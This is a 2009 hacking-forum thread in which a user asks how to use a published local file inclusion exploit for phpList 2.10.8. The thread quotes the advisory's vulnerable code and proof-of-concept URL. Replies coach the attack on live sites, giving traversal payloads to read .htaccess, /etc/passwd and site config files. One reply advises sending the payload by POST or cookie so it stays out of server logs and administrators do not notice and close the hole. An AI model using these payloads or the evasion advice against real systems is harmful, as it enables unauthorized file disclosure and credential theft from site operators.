|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 52
Members: 0
Total: 52
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
How to run PHPlist exploit |
|
Posted: Tue Feb 10, 2009 12:13 am |
|
|
mulkman |
Regular user |
|
|
Joined: Aug 18, 2008 |
Posts: 5 |
|
|
|
|
|
|
|
phpList <= 2.10.8 Local File Inclusion Vulnerability
Code: | Code:
########################## www.BugReport.ir #########################
#
# AmnPardaz Security Research Team
#
# Title: phpList Local File inclusion
# Vendor: http://www.phplist.com
# Bug: Local File Inclusion
# Vulnerable Version: 2.10.8 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix: N/A
# Original Advisory: http://www.bugreport.ir/index_60.htm
###################################################################
####################
- Description:
####################
Quote From vendor:"phplist is an open-source newsletter manager. phplist is free to download, install and use, and is easy to integrate with any website.
phplist is downloaded more than 10 000 times per month and is listed in the top open source projects for vitality score on Freshmeat.
phplist is sponsored by tincan."
####################
- Vulnerability:
####################
+--> Local File Inclusion
Because of the vulnerability in "admin/index.php", When "register_globals" is disabled (Default PHP Configuration) It is possible for remote attackers to
include arbitrary files from local resources before performing authentication.
Code Snippet:
/lists/admin.php #line:10-18
if (!ini_get("register_globals") || ini_get("register_globals") == "off") {
# fix register globals, for now, should be phased out gradually
# sure, this gets around the entire reason that regLANGUAGE_SWITCHister globals
# should be off, but going through three years of code takes a long time....
foreach ($_REQUEST as $key => $val) {
$$key = $val;
}
}
/lists/admin.php #line:41-56
if (isset($_SERVER["ConfigFile"]) && is_file($_SERVER["ConfigFile"])) {
print '<!-- using '.$_SERVER["ConfigFile"].'-->'."\n";
include $_SERVER["ConfigFile"];
} elseif (isset($cline["c"]) && is_file($cline["c"])) {
print '<!-- using '.$cline["c"].' -->'."\n";
include $cline["c"];
} elseif (isset($_ENV["CONFIG"]) && is_file($_ENV["CONFIG"])) {
# print '<!-- using '.$_ENV["CONFIG"].'-->'."\n";
include $_ENV["CONFIG"];
} elseif (is_file("../config/config.php")) {
print '<!-- using ../config/config.php -->'."\n";
include "../config/config.php";
} else {
print "Error, cannot find config file\n";
exit;
}
####################
- POC:
####################
http://www.example.com/lists/admin/index.php?_SERVER[ConfigFile]=../.htaccess
####################
- Credit:
####################
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com
|
Can you explain please roughly how to use this exploit. Do I have to put a url link at [ConfigFile] ???? |
|
|
|
|
|
|
|
|
Posted: Tue Feb 10, 2009 12:52 am |
|
|
ingh1pped |
Advanced user |
|
|
Joined: Dec 13, 2008 |
Posts: 88 |
|
|
|
|
|
|
|
you haven't to run nothing
this exploit is in the must part an explanation of the vuln code of the PHPLIST SCRIPT
it's a local file inclusion
you have just to go
http://www.yoursitevuln.com/lists/admin/index.php?_SERVER[ConfigFile]= //OBVIoUSLY BASED ON THIS phpList /LIST/
and put after "=" this >> ../.htaccess
so you can read the htaccess file directly
or try to come back over other directory trasversal
./../../etc/passwd ../../../var/html/site/config.php
you must to know how the site and the server is configurated, like know the name of the folder and the name of the site's file, trying a path disclosure on the site.
you can include some file of the server or the site in your page site... |
|
|
|
|
Posted: Tue Feb 10, 2009 6:57 am |
|
|
pexli |
Valuable expert |
|
|
Joined: May 24, 2007 |
Posts: 665 |
Location: Bulgaria |
|
|
|
|
|
|
ingh1pped this Xploit work with POST and Cookie.Don't by lamer like this guy's. |
|
|
|
|
Posted: Wed Feb 11, 2009 12:11 am |
|
|
ingh1pped |
Advanced user |
|
|
Joined: Dec 13, 2008 |
Posts: 88 |
|
|
|
|
|
|
|
Quote: | Don't by lamer like this guy's. |
pexli what you want to say with this? you talk to me really?
haven't you try this exploit in local.?
i just try with this version and this exploit work with and without login...
also only putting admin/index.php?_SERVER[ConfigFile]=../.htaccess
in the url... try and then talk ... trust me.
the only problem is this... magic_quotes_gpc on ..
have you read the source code of the script and not only the part of the code in this exploit..? have you try it in local?
if i am a lamah , world is your.. ^^ , i'm only an italian that talk badly in english.. XD |
|
|
|
|
|
|
|
|
Posted: Wed Feb 11, 2009 8:29 am |
|
|
pexli |
Valuable expert |
|
|
Joined: May 24, 2007 |
Posts: 665 |
Location: Bulgaria |
|
|
|
|
|
|
ingh1pped wrote: | Quote: | Don't by lamer like this guy's. |
pexli what you want to say with this? you talk to me really?
haven't you try this exploit in local.?
i just try with this version and this exploit work with and without login...
also only putting admin/index.php?_SERVER[ConfigFile]=../.htaccess
in the url... try and then talk ... trust me.
the only problem is this... magic_quotes_gpc on ..
have you read the source code of the script and not only the part of the code in this exploit..? have you try it in local?
if i am a lamah , world is your.. ^^ , i'm only an italian that talk badly in english.. XD |
No a'm not tested local, but tested in real life and this working.But not like you write.Read some books.Where is the difference between POST,GET and COOKIE method.Why only lamers use GET method.....etc. |
|
|
|
|
|
|
|
|
Posted: Wed Feb 11, 2009 6:05 pm |
|
|
ingh1pped |
Advanced user |
|
|
Joined: Dec 13, 2008 |
Posts: 88 |
|
|
|
|
|
|
|
you are talking about things that not match with this discussion
Quote: |
Where is the difference between POST,GET and COOKIE method.Why only lamers use GET method. |
i read more books than you, i mean. and i don't need your suggestion..
GET method === lamers ( WTF you say=?) GET method is a method of php not a method of lamer...
I repeat that , this topics need how use the exploit , and the method i suggest work. Nothing to tell. Don't need cookie, session , login, post, get and other things you are just saying.. see you and take care.. ^^ |
|
|
|
|
|
|
|
|
Posted: Wed Feb 11, 2009 6:29 pm |
|
|
pexli |
Valuable expert |
|
|
Joined: May 24, 2007 |
Posts: 665 |
Location: Bulgaria |
|
|
|
|
|
|
If you send this index.php?_SERVER[ConfigFile]=../.htaccess with GET all this shitt write into log files and tomorrow when admin looks in log files and see your very good method get he close the hole and you with your good working method stay to wanking in corner.Ферштейн?
Because guy's like you good hole's dies for couple hours. |
|
|
|
|
Posted: Wed Feb 11, 2009 11:18 pm |
|
|
ingh1pped |
Advanced user |
|
|
Joined: Dec 13, 2008 |
Posts: 88 |
|
|
|
|
|
|
|
ahhhhhhh ok.. now you explain your self without using this term refered to me
Quote: | Don't by lamer like this guy's. |
you are right, but what you have written some post ago..
Quote: | this Xploit work with POST and Cookie | meaning , that this exploit doesn't work with GET without COOKIE and POST method and this was false.
|
|
|
|
|
www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|